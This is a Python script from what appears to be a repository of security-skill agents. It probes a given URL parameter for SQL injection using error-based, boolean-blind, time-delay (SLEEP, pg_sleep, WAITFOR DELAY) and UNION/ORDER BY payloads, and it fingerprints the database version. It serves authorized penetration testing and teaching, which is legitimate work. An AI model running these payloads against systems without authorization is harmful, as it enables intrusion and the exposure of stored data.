Files
T
mukul975 27c6414ca5 Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders
2026-03-10 21:02:12 +01:00

197 lines
7.3 KiB
Python

#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""SQL injection detection agent using requests for manual technique-based testing."""
import argparse
import json
import logging
import sys
import time
import re
from typing import List, Optional
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
SQL_ERRORS = {
"mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"],
"postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"],
"mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"],
"oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"],
"sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"],
}
def detect_error_based(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> dict:
"""Inject a single quote to detect SQL errors in the response."""
payload = "'"
test_url, data = _build_request(url, param, payload, method)
resp = _send(test_url, method, data, headers)
db_type = None
error_found = False
for db, patterns in SQL_ERRORS.items():
for pattern in patterns:
if re.search(pattern, resp.text, re.IGNORECASE):
db_type = db
error_found = True
break
if error_found:
break
return {
"technique": "error_based",
"parameter": param,
"injectable": error_found,
"database": db_type,
"status_code": resp.status_code,
}
def detect_boolean_based(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> dict:
"""Test boolean-based blind SQLi with true/false conditions."""
baseline_resp = _send(*_build_request(url, param, "1", method), headers)
true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers)
false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers)
true_match = len(true_resp.content) == len(baseline_resp.content)
false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10
return {
"technique": "boolean_based",
"parameter": param,
"injectable": true_match and false_diff,
"baseline_length": len(baseline_resp.content),
"true_length": len(true_resp.content),
"false_length": len(false_resp.content),
}
def detect_time_based(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None, delay: int = 5) -> dict:
"""Test time-based blind SQLi with sleep functions."""
payloads = {
"mysql": f"1 AND SLEEP({delay})--",
"postgresql": f"1; SELECT pg_sleep({delay})--",
"mssql": f"1; WAITFOR DELAY '0:0:{delay}'--",
}
results = {}
for db, payload in payloads.items():
start = time.time()
_send(*_build_request(url, param, payload, method), headers)
elapsed = time.time() - start
results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1}
injectable = any(r["delayed"] for r in results.values())
detected_db = next((db for db, r in results.items() if r["delayed"]), None)
return {
"technique": "time_based",
"parameter": param,
"injectable": injectable,
"database": detected_db,
"delay_target": delay,
"timing_results": results,
}
def detect_union_columns(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None, max_cols: int = 20) -> dict:
"""Determine the number of columns for UNION-based injection."""
for n in range(1, max_cols + 1):
payload = f"1 ORDER BY {n}--"
resp = _send(*_build_request(url, param, payload, method), headers)
if resp.status_code >= 400 or "error" in resp.text.lower():
return {"technique": "union_column_count", "parameter": param, "columns": n - 1}
return {"technique": "union_column_count", "parameter": param, "columns": None}
def fingerprint_database(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> dict:
"""Identify the database engine using version functions."""
version_payloads = {
"mysql": "1 UNION SELECT @@version,NULL--",
"postgresql": "1 UNION SELECT version(),NULL--",
"mssql": "1 UNION SELECT @@version,NULL--",
}
for db, payload in version_payloads.items():
resp = _send(*_build_request(url, param, payload, method), headers)
if resp.status_code == 200 and len(resp.content) > 50:
return {"database": db, "response_preview": resp.text[:200]}
return {"database": "unknown"}
def _build_request(url: str, param: str, value: str, method: str):
if method.upper() == "GET":
separator = "&" if "?" in url else "?"
return f"{url}{separator}{param}={requests.utils.quote(value)}", None
else:
return url, {param: value}
def _send(url: str, method: str = "GET", data: Optional[dict] = None,
headers: Optional[dict] = None) -> requests.Response:
h = headers or {}
try:
if method.upper() == "POST":
return requests.post(url, data=data, headers=h, timeout=15, verify=False)
return requests.get(url, headers=h, timeout=15, verify=False)
except requests.RequestException:
return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})()
def run_assessment(url: str, param: str, method: str = "GET") -> dict:
"""Run complete SQL injection assessment."""
error = detect_error_based(url, param, method)
boolean = detect_boolean_based(url, param, method)
timing = detect_time_based(url, param, method)
columns = detect_union_columns(url, param, method) if error["injectable"] else {}
injectable = error["injectable"] or boolean["injectable"] or timing["injectable"]
findings = []
if error["injectable"]:
findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})")
if boolean["injectable"]:
findings.append("CRITICAL: Boolean-based blind SQLi confirmed")
if timing["injectable"]:
findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})")
return {
"target": url,
"parameter": param,
"injectable": injectable,
"error_based": error,
"boolean_based": boolean,
"time_based": timing,
"union_columns": columns,
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(description="SQL Injection Detection Agent")
parser.add_argument("--url", required=True, help="Target URL")
parser.add_argument("--param", required=True, help="Parameter to test")
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
parser.add_argument("--output", default="sqli_report.json")
args = parser.parse_args()
report = run_assessment(args.url, args.param, args.method)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()